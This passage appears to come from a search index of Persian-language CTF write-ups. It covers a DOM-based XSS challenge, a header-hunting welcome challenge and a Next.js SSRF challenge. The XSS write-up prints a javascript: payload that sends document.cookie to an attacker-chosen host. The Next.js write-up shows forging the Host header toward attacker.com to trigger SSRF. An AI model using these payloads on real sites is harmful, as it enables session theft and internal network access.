\u0648 \u062a\u0648\u06cc \u0645\u0633\u06cc\u0631 /fal \u06cc\u0647 back, fal \u062f\u0627\u0631\u06cc\u0645 \u06a9\u0647 back \u0622\u062f\u0631\u0633\u06cc \u0647\u0633\u062a\u0634 \u06a9\u0647 \u0628\u0647 \u0627\u0648\u0646 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0645\u06cc\u0634\u06cc\u0645 \u0648 fal \u0647\u0645 \u0645\u062a\u0646\u06cc \u0647\u0633\u062a\u0634 \u06a9\u0647 \u062a\u0648 \u0635\u0641\u062d\u0647 \u0628\u0647\u0645\u0648\u0646 \u0646\u0634\u0648\u0646 \u0645\u06cc\u062f\u0647 \u0648\u0644\u06cc \u0627\u06af\u0647 \u062f\u0642\u062a \u06a9\u0646\u06cc\u0646 \u0645\u0642\u062f\u0627\u0631 fal escape \u0645\u06cc\u0634\u0647 \u0648 \u0646\u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0628\u0631\u0627\u06cc \u0627\u0648\u0646 xss \u0628\u0632\u0646\u06cc\u0645

\u062e\u0628 \u0628\u06cc\u0627\u06cc\u0646 \u06cc\u0647 \u0646\u06af\u0627\u0647\u06cc \u0628\u0647 \u0633\u0648\u0631\u0633 \u0635\u0641\u062d\u0647 \u0627\u06cc \u0628\u0646\u062f\u0627\u0632\u06cc\u0645 \u06a9\u0647 \u062a\u0648\u0634 \u0641\u0627\u0644 \u0647\u0627 \u0628\u0647 \u0645\u0627 \u0646\u0634\u0648\u0646 \u062f\u0627\u062f\u0647 \u0645\u06cc\u0634\u0647:

$  curl https://snappfal.spchallenge.ir/fal?back=ADDR_GOES_HERE&fal=FAL_GOES_HERE \n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<meta charset=\"UTF-8\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n<title>Snapp fal!</title>\n<link rel=\"preconnect\" href=\"https://fonts.googleapis.com\">\n<link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n<link href=\"https://fonts.googleapis.com/css2?family=Vazirmatn:wght@400&display=swap\" rel=\"stylesheet\">\n<style>\n    body {\n        background-color: white;\n    }\n\n    .cont {\n        display: flex;\n        justify-content: center;\n        align-items: center;\n        height: 100vh; \n    }\n\n    .card {\n        background-color: #f7f6f2;\n        padding: 60px 40px;\n        border-radius: 10px;\n        text-align: center;\n    }\n\n    button:hover {\n        background-color: #40a38b;\n    }\n\n    span {\n        color: #81766d;\n        font-family: 'vazirmatn', sans-serif; \n        font-size: 32px;\n        font-weight: bold;\n        display: block;\n    }\n</style>\n</head>\n<body>\n    <div class=\"cont\">\n        <div class=\"card\">\n            <span></span>\n        </div>\n    </div>\n    <script>\n        setTimeout(_=>{\n            document.location = \"ADDR_GOES_HERE\"  \n        },2000)\n    </script>\n</body>\n</html>\n

\u062e\u0628 \u0645\u062b\u0644\u0647 \u0627\u06cc\u0646\u06a9\u0647 \u0627\u062f\u0631\u0633\u06cc \u06a9\u0647 \u0645\u0627 \u0628\u0647\u0634 \u0645\u06cc\u062f\u06cc\u0645 \u0645\u06cc\u0631\u0647 \u0645\u0633\u062a\u0642\u06cc\u0645 \u0645\u06cc\u0634\u06cc\u0646\u0647 \u062a\u0648\u06cc document.location \u060c \u067e\u0633 \u0627\u06af\u0647 \u0627\u0632 javascript scheme \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 XSS \u0628\u06af\u06cc\u0631\u06cc\u0645

\u0636\u0645\u0646 \u0627\u06cc\u0646\u06a9\u0647 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a \u0686\u0627\u0644\u0634 \u0647\u0645 \u0628\u0647 \u0645\u0627 \u06cc\u0647 \u062c\u0648\u0631\u0627\u06cc\u06cc \u0647\u06cc\u0646\u062a \u062f\u0627\u062f\u0647 \u0648 \u0627\u06cc\u0646 \u0622\u062f\u0631\u0633 \u0631\u0648 \u0628\u0647\u0645\u0648\u0646 \u062f\u0627\u062f\u0647 \u062a\u0627 \u06cc\u0647 \u0646\u06af\u0627\u0647\u06cc \u0628\u0647\u0634 \u0628\u0646\u062f\u0627\u0632\u06cc\u0645

/fal?javascript:fetch(`https://REDACTED?flag${document.cookie}`)\n

\u0628\u0647 \u062c\u0627\u06cc REDACTED \u0622\u062f\u0631\u0633\u06cc \u0633\u0631\u0648\u0631 \u062e\u0648\u062f\u062a\u0648\u0646 \u0631\u0648 \u0628\u0632\u0627\u0631\u06cc\u0646 \u062a\u0627 \u0641\u0644\u06af \u0628\u0631\u0627\u062a\u0648\u0646 \u0627\u0631\u0633\u0627\u0644 \u0628\u0634\u0647 \u06cc\u0627 \u0627\u06cc\u0646\u06a9\u0647 \u0627\u0632 webhook.site \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0646

\u062d\u0627\u0644\u0627 \u06a9\u0627\u0641\u06cc\u0647 \u06a9\u0647 \u0622\u062f\u0631\u0633 \u0631\u0648 \u0628\u062f\u06cc\u0645 \u0628\u0647 \u0627\u062f\u0631\u0633 \u0628\u0627\u062a \u06a9\u0647 \u0628\u0631\u0627\u0645\u0648\u0646 \u0641\u0644\u06af \u0631\u0648 \u0628\u0641\u0631\u0633\u062a\u0647 xd

final addr: https://snappfal.spchallenge.ir/fal?back=javascript:fetch(`https://REDACTED?flag${document.cookie}`)\n
FLAG

SNAPP{89d36f80b85bde916fbdeb8592c1b368}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

amir303

","tags":["SnappCTF","SnappCTF-2024","XSS","DOM-Based XSS","Web"]},{"location":"web/writeups/SnappCTF/welcome/","title":"Welcome","text":"Welcome

\u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0647 \u0645\u0627 \u06cc\u0647 \u0622\u062f\u0631\u0633 \u0648\u0628 \u062f\u0627\u062f\u0646

\u062e\u0628 \u0628\u0639\u062f \u0627\u0632 \u0628\u0627\u0632 \u06a9\u0631\u062f\u0646 \u0622\u062f\u0631\u0633 \u062a\u0648 \u0648\u0628\u0633\u0627\u06cc\u062a \u0628\u0627 \u0627\u06cc\u0646 \u0635\u0641\u062d\u0647 \u0631\u0648\u0628\u0631\u0648 \u0645\u06cc\u0634\u0648\u06cc\u0645

\u0628\u0631\u0627\u06cc \u062d\u0644 \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0645\u0627 \u0628\u0627\u06cc\u062f \u062f\u0646\u0628\u0627\u0644 \u0628\u062e\u0634 \u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 \u0641\u0644\u06af \u0628\u06af\u0631\u062f\u06cc\u0645 \u060c \u06a9\u0647 \u0628\u062e\u0634 \u0627\u0648\u0644\u0634 \u062a\u0648 \u0635\u0641\u062d\u0647 \u0627\u0648\u0644 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0634\u062f\u0647 \u060c \u0628\u0631\u0627\u06cc \u0628\u062e\u0634 \u062f\u0648\u0645 \u06a9\u0627\u0641\u06cc\u0647 \u06a9\u0647 page source \u0631\u0648 \u06cc\u0647 \u0646\u06af\u0627\u0647\u06cc \u0628\u0646\u062f\u0627\u0632\u06cc\u0645 \u060c \u067e\u0633 \u0648\u0627\u0631\u062f \u0622\u062f\u0631\u0633 \u0632\u06cc\u0631 \u0645\u06cc\u0634\u06cc\u0645

view-source:https://welcome.spchallenge.ir

\u0628\u0639\u062f \u0627\u0632 \u0648\u0627\u0631\u062f \u0634\u062f\u0646 \u0628\u0647 \u0627\u06cc\u0646 \u0622\u062f\u0631\u0633 \u060c \u0628\u062e\u0634 \u062f\u0648\u0645 \u0641\u0644\u06af \u0631\u0648 \u0628\u0647 \u0635\u0648\u0631\u062a \u06a9\u0627\u0645\u0646\u062a \u0634\u062f\u0647 \u0645\u06cc\u0628\u06cc\u0646\u06cc\u0646:

\u200d\u200d<!-- 2nd part: `700_h4rd_1` -->

\u062f\u0631 \u0646\u0647\u0627\u06cc\u062a \u0628\u062e\u0634 \u0633\u0648\u0645 \u0647\u0645 \u062a\u0648\u06cc \u0647\u062f\u0631 \u0647\u0627\u06cc \u0631\u06cc\u0633\u067e\u0627\u0646\u0633 \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a GET \u0647\u0633\u062a\u0634 \u06a9\u0647 \u0627\u06af\u0647 \u0628\u0627 \u0645\u0631\u0648\u0631\u06af\u0631 \u0647\u0633\u062a\u06cc\u0646 \u062a\u0648 \u0628\u062e\u0634 network \u0645\u06cc\u062a\u0648\u0646\u06cc\u0646 \u0627\u0648\u0646 \u0631\u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0646 \u06cc\u0627 \u0627\u06af\u0647 \u0628\u0627 Burp \u0647\u0633\u062a\u06cc\u0646 \u062a\u0648 \u0628\u062e\u0634 Intercept \u0645\u06cc\u062a\u0648\u0646\u06cc\u0646 \u0627\u0648\u0646\u0648 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u06cc\u0646 (\u0627\u06af\u0647 \u0628\u0627 curl \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a \u0631\u0648 \u0628\u0632\u0646\u06cc\u0645 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0627\u0632 -v \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u06a9\u0647 verbose \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u0647\u062f\u0631 \u0647\u0627\u06cc \u0631\u06cc\u0633\u067e\u0627\u0646\u0633 \u0631\u0648 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 \u0645\u0634\u0627\u0647\u062f\u0647 \u06a9\u0646\u06cc\u0645):

$ curl https://welcome.spchallenge.ir/ -v\n< HTTP/2 200 \n< date: Sat, 24 Feb 2024 07:57:33 GMT\n< content-type: text/html;charset=utf-8\n< flag-3rd-part: 6_4b3784621} <<< HERE\n< cf-cache-status: DYNAMIC\n< report-to: {\"endpoints\":[{\"url\":\"https:\\/\\/a.nel.cloudflare.com\\/report\\/v3?s=slO0vKYP8RNvjabK9LpwO%2F7ZTHZpdbktAHJRyNVGg2t5yrVDelM8b7EYMNYNoOYTxPiKkQ%2FVLTKn5I7mQXGYoPdgV%2F9XpLVo8Sx0Oa6pRP4PK%2Bh2IXnxAmXQ0Kja2lgyvO%2BE9ugAyfY5\"}],\"group\":\"cf-nel\",\"max_age\":604800}\n< nel: {\"success_fraction\":0,\"report_to\":\"cf-nel\",\"max_age\":604800}\n< server: cloudflare\n< cf-ray: 85a628897d7741ac-EWR\n< alt-svc: h3=\":443\"; ma=86400\n...\n

\u0645\u06cc\u0628\u06cc\u0646\u06cc\u0646 \u06a9\u0647 \u0628\u062e\u0634 \u0633\u0648\u0645 \u0647\u0645 \u0628\u0627 \u0627\u0633\u0645 flag-3rd-part \u062a\u0648\u06cc \u0647\u062f\u0631 \u0647\u0627 \u0627\u0631\u0633\u0627\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a

FLAG

SNAPP{f1r57_0n3_w45n7_700_h4rd_16_4b3784621}

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

amir303

","tags":["SnappCTF","SnappCTF-2024","HTTP","Web"]},{"location":"web/writeups/UIUCTF/log-action/","title":"\u0686\u0627\u0644\u0634 Log Action","text":"

\u062a\u0648\u06cc \u0627\u06cc\u0646 \u0686\u0627\u0644\u0634 \u0628\u0647 \u0645\u0627 \u062f\u0648\u062a\u0627 \u0648\u0628 \u0633\u0631\u0648\u0631 \u062f\u0627\u062f\u0646 \u06a9\u0647 \u06cc\u06a9\u06cc \u0627\u0632 \u0627\u0648\u0646 \u0647\u0627 \u06a9\u0647 Next.js \u0647\u0633\u062a\u0634 \u0628\u0647 \u0635\u0648\u0631\u062a \u067e\u0627\u0628\u0644\u06cc\u06a9 \u067e\u0627\u0628\u0644\u06cc\u0634 \u0634\u062f\u0647 \u0648\u0644\u06cc \u0648\u0628 \u0633\u0631\u0648\u0631\u06cc \u06a9\u0647 \u0641\u0644\u06af \u062f\u0631 \u0622\u0646 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0647 \u067e\u0648\u0631\u062a\u0634 \u067e\u0627\u0628\u0644\u06cc\u0634 \u0646\u0634\u062f\u0647 \u0648 \u0641\u0642\u0637 \u0627\u0632 \u062f\u0627\u062e\u0644 \u0646\u062a\u0648\u0631\u06a9 \u062f\u0627\u062e\u0644\u06cc \u062f\u0627\u06a9\u0631 \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0647\u0633\u062a\u0634

\u0644\u06cc\u0646\u06a9 \u0633\u0648\u0631\u0633 \u06a9\u062f \u0686\u0627\u0644\u0634

version: '3'\nservices:\n  frontend:\n    build: ./frontend\n    restart: always\n    environment:\n      - AUTH_TRUST_HOST=http://localhost:3000\n    ports:\n      - \"3000:3000\"\n    depends_on:\n      - backend\n  backend:\n    image: nginx:latest\n    restart: always\n    volumes:\n      - ./backend/flag.txt:/usr/share/nginx/html/flag.txt\n
\u0647\u0645\u0627\u0646\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u062f\u0627\u06a9\u0631 \u06a9\u0627\u0645\u067e\u0648\u0632 \u0645\u0634\u062e\u0635 \u0647\u0633\u062a. \u0641\u0644\u06af \u062f\u0631 \u0633\u0631\u0648\u06cc\u0633 backend \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0647 \u0648\u0644\u06cc \u067e\u0648\u0631\u062a\u06cc \u0628\u0647 \u0628\u06cc\u0631\u0648\u0646 \u067e\u0627\u0628\u0644\u06cc\u0634 \u0646\u0634\u062f\u0647 \u0648 \u0641\u0642\u0637 \u0627\u0632 \u062f\u0627\u062e\u0644 frontend \u06a9\u0647 \u062f\u0631 \u062f\u0633\u062a\u0631\u0633 \u0647\u0633\u062a \u0645\u06cc\u062a\u0648\u0627\u0646\u06cc\u0645 \u0628\u0647 nginx \u0628\u0631\u0633\u06cc\u0645

\u0628\u0639\u062f \u0627\u0632 \u0628\u0631\u0631\u0633\u06cc \u0641\u0627\u06cc\u0644 \u0647\u0627\u06cc next.js \u060c \u0628\u0647 \u0637\u0648\u0631 \u0645\u0633\u062a\u0642\u06cc\u0645 \u0631\u0627\u0647\u06cc \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0627\u0632 frontend \u0628\u0647 backend \u0628\u0631\u0633\u0645 \u067e\u06cc\u062f\u0627 \u0646\u06a9\u0631\u062f\u0645 \u0648 \u0633\u0639\u06cc \u06a9\u0631\u062f\u0645 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u067e\u06cc\u062f\u0627 \u06a9\u0646\u0645 \u06a9\u0647 \u0645\u0646\u062c\u0631 \u0628\u0647 SSRF \u062a\u0648\u06cc next.js \u0628\u0634\u0647 \u0648 \u062e\u0648\u0634\u0628\u062e\u062a\u0627\u0646\u0647 \u06cc\u06a9 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc ssrf \u062a\u0648\u06cc \u0648\u0631\u0698\u0646 14.1.0 \u067e\u06cc\u062f\u0627 \u0634\u062f

\u062a\u0645\u0627\u0645\u06cc \u0627\u0637\u0644\u0627\u0639\u0627\u062a \u062f\u0631\u0628\u0627\u0631\u0647 \u0622\u0633\u06cc\u0628 \u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0627\u06cc\u0646\u062c\u0627 \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u062f

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0645\u0646 \u0628\u062a\u0648\u0646\u0645 ssrf \u0628\u06af\u06cc\u0631\u0645 \u0628\u0627\u06cc\u062f \u0627\u0632 action \u0627\u06cc \u062a\u0648\u06cc next \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u0645 \u06a9\u0647 \u0628\u0647 \u0645\u0633\u06cc\u0631\u06cc \u06a9\u0647 \u0628\u0627 / \u0634\u0631\u0648\u0639 \u0645\u06cc\u0634\u0647 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0628\u0634\u0647. \u0686\u0631\u0627\u061f \u0628\u0647 \u062e\u0627\u0637\u0631 \u0627\u06cc\u0646 \u06a9\u062f \u0633\u0645\u062a next.js:

async function createRedirectRenderResult(\n  req: IncomingMessage,\n  res: ServerResponse,\n  redirectUrl: string,\n  basePath: string,\n  staticGenerationStore: StaticGenerationStore\n) {\n  res.setHeader('x-action-redirect', redirectUrl)\n  // if we're redirecting to a relative path, we'll try to stream the response\n  if (redirectUrl.startsWith('/')) {\n    const forwardedHeaders = getForwardedHeaders(req, res)\n    forwardedHeaders.set(RSC_HEADER, '1')\n\n    const host = req.headers['host']\n    const proto =\n      staticGenerationStore.incrementalCache?.requestProtocol || 'https'\n    const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)\n    // .. snip ..\n    try {\n      const headResponse = await fetch(fetchUrl, {\n        method: 'HEAD',\n        headers: forwardedHeaders,\n        next: {\n          // @ts-ignore\n          internal: 1,\n        },\n      })\n\n      if (\n        headResponse.headers.get('content-type') === RSC_CONTENT_TYPE_HEADER\n      ) {\n        const response = await fetch(fetchUrl, {\n          method: 'GET',\n          headers: forwardedHeaders,\n          next: {\n            // @ts-ignore\n            internal: 1,\n          },\n        })\n        // .. snip ..\n        return new FlightRenderResult(response.body!)\n      }\n    } catch (err) {\n      // .. snip ..\n    }\n  }\n\n  return RenderResult.fromStatic('{}')\n}\n

\u0648\u0642\u062a\u06cc \u06a9\u0647 \u0633\u0645\u062a \u0633\u0631\u0648\u0631 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a\u06cc \u0627\u0646\u062c\u0627\u0645 \u0628\u0634\u0647 \u0627\u06cc\u0646 \u0641\u0627\u0646\u06a9\u0634 \u06a9\u0627\u0644 \u0645\u06cc\u0634\u0647 \u0648 \u0646\u06a9\u062a\u0647 \u062c\u0627\u0644\u0628 \u0627\u06cc\u0646 \u0641\u0627\u0646\u06a9\u0634\u0646 \u0627\u06cc\u0646 \u0647\u0633\u062a\u0634 \u06a9\u0647 \u0627\u06af\u0647 url \u0628\u0627 / \u0634\u0631\u0648\u0639 \u0628\u0634\u0647 \u060c \u0627\u0628\u062a\u062f\u0627 \u06cc\u06a9 \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a HEAD \u0648 \u0627\u06af\u0631 content-type \u0631\u06cc\u0633\u067e\u0627\u0646\u0633 \u0628\u0631\u0627\u0628\u0631 \u0628\u0627 text/x-component \u0628\u0627\u0634\u0647 \u060c \u0628\u0639\u062f\u0634 \u0628\u0647 \u0647\u0645\u0648\u0646 url \u06cc\u06a9 \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a GET \u0632\u062f\u0647 \u0645\u06cc\u0634\u0647 \u0648 \u0647\u0627\u0633\u062a \u0627\u0646\u062f\u067e\u0648\u06cc\u0646\u062a \u0647\u0645 \u0627\u0632 HOST \u0647\u062f\u0631 \u06af\u0631\u0641\u062a\u0647 \u0645\u06cc\u0634\u0647 \u0648 \u0628\u062f\u06cc\u0646 \u062a\u0631\u062a\u06cc\u0628 \u0645\u0627 \u0645\u06cc\u062a\u0648\u0646\u06cc\u0645 ssrf \u0628\u0632\u0646\u06cc\u0645

\u0631\u0648\u0634 \u0627\u0635\u0644\u06cc \u0648 \u0645\u0648\u0631\u062f \u0627\u0646\u062a\u0638\u0627\u0631 \u0637\u0631\u0627\u062d \u0633\u0648\u0627\u0644 \u0628\u0647 \u0627\u06cc\u0646 \u062a\u0631\u062a\u06cc\u0628 \u0628\u0648\u062f\u0647 \u06a9\u0647 \u0645\u0627 \u0627\u0632 \u0645\u0633\u06cc\u0631 /logout \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u0645 \u060c \u0686\u0648\u0646 \u062f\u0631 \u0645\u0633\u06cc\u0631 logout \u0627\u0632 redirect \u062f\u0631\u0648\u0646 action \u0641\u0648\u0631\u0645 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647

import Link from \"next/link\";\nimport { redirect } from \"next/navigation\";\nimport { signOut } from \"@/auth\";\n\nexport default function Page() {\n  return (\n    <>\n      <h1 className=\"text-2xl font-bold\">Log out</h1>\n      <p>Are you sure you want to log out?</p>\n      <Link href=\"/admin\">\n        Go back\n      </Link>\n      <form\n        action={async () => {\n          \"use server\";\n          await signOut({ redirect: false });\n          redirect(\"/login\"); # HERE\n        }}\n      >\n        <button type=\"submit\">Log out</button>\n      </form>\n    </>\n  )\n

\u0648\u0644\u06cc \u0627\u0632 \u0627\u0648\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0645\u0646 \u0628\u0631\u0627\u06cc \u0627\u0648\u0644\u06cc\u0646 \u0628\u0627\u0631 \u0628\u0648\u062f \u06a9\u0647 \u0628\u0627 next.js \u062f\u0633\u062a \u0648 \u067e\u0646\u062c\u0647 \u0646\u0631\u0645 \u0645\u06cc\u06a9\u0631\u062f\u0645 \u060c \u0628\u0647 \u0627\u06cc\u0646 \u06a9\u062f logout \u062f\u0642\u062a \u0646\u06a9\u0631\u062f\u0645 \u0648 \u0633\u0631\u06cc\u0639 \u0631\u0641\u062a\u0645 \u0633\u0631\u0627\u063a \u0627\u06cc\u0646 action

\"use server\";\nimport { AuthError } from \"next-auth\";\nimport { signIn } from \"@/auth\";\nimport { redirect } from \"next/navigation\";\n\nexport async function authenticate(\n  prevState: string | undefined,\n  formData: FormData,\n) {\n  let foundError = false;\n  try {\n    await signIn('credentials', formData);\n  } catch (error) {\n    if (error instanceof AuthError) {\n      foundError = true;\n      switch (error.type) {\n        case 'CredentialsSignin':\n          return 'Invalid credentials.';\n        default:\n          return 'Something went wrong.';\n      }\n    }\n    throw error;\n  } finally {\n    if (!foundError) {\n      redirect('/admin');\n    }\n  }\n}\n

\u0648 \u062a\u0646\u0647\u0627 \u0631\u0627\u0647 \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u0628\u062a\u0648\u0646\u0645 \u0628\u0647 \u0627\u0648\u0646 redirect \u062a\u0648\u06cc \u0628\u0644\u0627\u06a9 finally \u0628\u0631\u0633\u0645 \u060c \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0627\u0648\u0646 \u0645\u062a\u063a\u06cc\u0631 foundError \u0641\u0627\u0644\u0633 \u0628\u0645\u0648\u0646\u0647 \u0648 \u062a\u063a\u06cc\u06cc\u0631 \u0646\u06a9\u0646\u0647 \u0648\u0644\u06cc \u0627\u0632 \u0627\u0648\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0641\u0627\u0646\u06a9\u0634\u0646 signIn \u0627\u06af\u0647 password \u0627\u062f\u0645\u06cc\u0646 \u0631\u0648 \u062f\u0631\u0633\u062a \u0648\u0627\u0631\u062f \u0646\u06a9\u0646\u06cc \u0627\u0631\u0648\u0631 AuthError \u0645\u06cc\u062f\u0647 \u060c \u067e\u0633 \u0627\u0648\u0646 foundError \u0628\u0647 true \u062a\u063a\u06cc\u06cc\u0631 \u0645\u06cc\u06a9\u0646\u0647 \u0648 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a\u06cc \u0627\u0646\u062c\u0627\u0645 \u0646\u0645\u06cc\u0634\u0647

\u06a9\u062f \u0641\u0627\u0646\u06a9\u0634\u0646 signIn

import NextAuth, { CredentialsSignin } from \"next-auth\";\nimport Credentials from \"next-auth/providers/credentials\";\nimport { z } from \"zod\";\nimport type { User } from \"next-auth\";\nimport { authConfig } from \"@/auth.config\";\nimport { randomBytes } from \"crypto\";\n\nexport const { auth, signIn, signOut } = NextAuth({\n  ...authConfig,\n  providers: [\n    Credentials({\n      async authorize(credentials) {\n        const parsedCredentials = z\n          .object({ username: z.string(), password: z.string() })\n          .safeParse(credentials);\n\n        if (parsedCredentials.success) {\n          const { username, password } = parsedCredentials.data;\n          // Using a one-time password is more secure\n          if (username === \"admin\" && password === randomBytes(16).toString(\"hex\")) {\n            return {\n              username: \"admin\",\n            } as User;\n          }\n        }\n        throw new CredentialsSignin;\n      },\n    }),\n  ]\n});\n

\u0631\u0627\u0647\u06cc \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646\u06a9\u0647 \u062a\u0648\u06cc \u0627\u06cc\u0646 \u0641\u0627\u0646\u06a9\u0634\u0646 signIn \u0627\u0631\u0648\u0631\u06cc \u0628\u062e\u0648\u0631\u06cc\u0645 \u06a9\u0647 \u0627\u0632 \u0646\u0648\u0639 AuthError \u0646\u0628\u0627\u0634\u0647 \u0646\u06cc\u0633\u062a

\u0627\u0644\u0628\u062a\u0647 \u0645\u0646 \u062a\u0644\u0627\u0634 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0627\u0632 \u0644\u0627\u06cc\u0628\u0631\u06cc zod \u0627\u0631\u0648\u0631 ZODError \u0628\u06af\u06cc\u0631\u0645 \u0648\u0644\u06cc \u0686\u0648\u0646 \u0627\u0632 \u0645\u062a\u062f safeParse \u0628\u0647 \u062c\u0627\u06cc parse \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0634\u062f\u0647 \u0628\u0648\u062f. \u0631\u0627\u0647\u06cc \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0647\u0645 \u0646\u0628\u0648\u062f

\u0628\u0639\u062f \u0627\u0632 \u06a9\u0644\u06cc \u062a\u0644\u0627\u0634 \u06a9\u0647 \u0631\u0627\u0647\u06cc \u0628\u0631\u0627\u06cc \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u06a9\u0631\u062f\u0646 \u067e\u06cc\u062f\u0627 \u06a9\u0646\u0645 \u060c \u0628\u0647 \u0637\u0648\u0631 \u0627\u062a\u0641\u0627\u0642\u06cc \u0645\u0648\u0642\u0639\u06cc \u06a9\u0647 \u0631\u06cc\u06a9\u0648\u06cc\u0633\u062a POST \u0628\u0647 \u0627\u06cc\u0646 ACTION \u0645\u06cc\u0632\u062f\u0645 \u060c \u0627\u0648\u0645\u062f\u0645 \u0647\u062f\u0631 Host \u0631\u0648 \u0628\u0647 https://attacker.com \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0627\u062f\u0645 \u0648 \u0645\u062a\u0648\u062c\u0647 \u0634\u062f\u0645 \u06a9\u0647 \u0633\u0645\u062a next.js \u0628\u0647 \u0627\u0631\u0648\u0631 UnknownAction \u062e\u0648\u0631\u062f \u0648 \u0627\u0632 \u0627\u0648\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 \u0627\u0648\u0646 redirect \u062f\u0627\u062e\u0644 \u0628\u0644\u0627\u06a9 finally \u0628\u0648\u062f . \u062f\u0631 \u0647\u0631 \u0635\u0648\u0631\u062a \u0627\u062c\u0631\u0627 \u0645\u06cc\u0634\u062f \u0648 \u0627\u06cc\u0646\u0637\u0648\u0631\u06cc \u0628\u0648\u062f \u06a9\u0647 \u062a\u0648\u0646\u0633\u062a\u0645 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0628\u06af\u06cc\u0631\u0645 \u0648\u0644\u06cc \u0628\u0647 \u06a9\u062c\u0627\u061f \u0628\u0647 https!!

\u0627\u0648\u0646\u062c\u0627 \u0628\u0648\u062f \u06a9\u0647 \u0641\u0647\u0645\u06cc\u062f\u0645 \u0645\u0642\u062f\u0627\u0631 \u0647\u062f\u0631 \u0647\u0627\u0633\u062a \u0631\u0648 \u062f\u0627\u0631\u0645 \u0627\u0634\u062a\u0628\u0627\u0647\u06cc \u0645\u06cc\u062f\u0645 \u0648 \u0627\u0648\u0646 \u067e\u0631\u0648\u062a\u06a9\u0644\u0634\u0648 \u062d\u0630\u0641 \u06a9\u0631\u062f\u0645 \u0648 attacker.com \u0631\u0648 \u062a\u0633\u062a \u06a9\u0631\u062f\u0645 \u0648\u0644\u06cc \u0645\u062a\u0627\u0633\u0641\u0627\u0646\u0647 \u062f\u06cc\u06af\u0647 \u0628\u0647 \u0627\u0648\u0646 \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0646\u0631\u0633\u06cc\u062f\u0645 \u0648\u0644\u06cc \u06cc\u0647 \u0633\u0639\u06cc \u062f\u06cc\u06af\u0647 \u06a9\u0631\u062f\u0645 \u0648 // \u0631\u0648 \u0628\u0647 \u0627\u062e\u0631 \u0647\u062f\u0631 \u0647\u0627\u0633\u062a \u0627\u0636\u0627\u0641\u0647 \u06a9\u0631\u062f\u0645 \u0648 \u062f\u06cc\u062f\u0645 \u06a9\u0647 \u0628\u0639\u0644\u0647 \u0628\u0647 \u200dattacker.com \u0631\u06cc\u062f\u0627\u06cc\u0631\u06a9\u062a \u0634\u062f\u0645

","tags":["UIU CTF","UIUCTF-2024","Web","SSRF","Next.js"]},{"location":"web/writeups/UIUCTF/log-action/#_1","title":"\u062e\u0648\u0646\u062f\u0646 \u0641\u0644\u06af","text":"

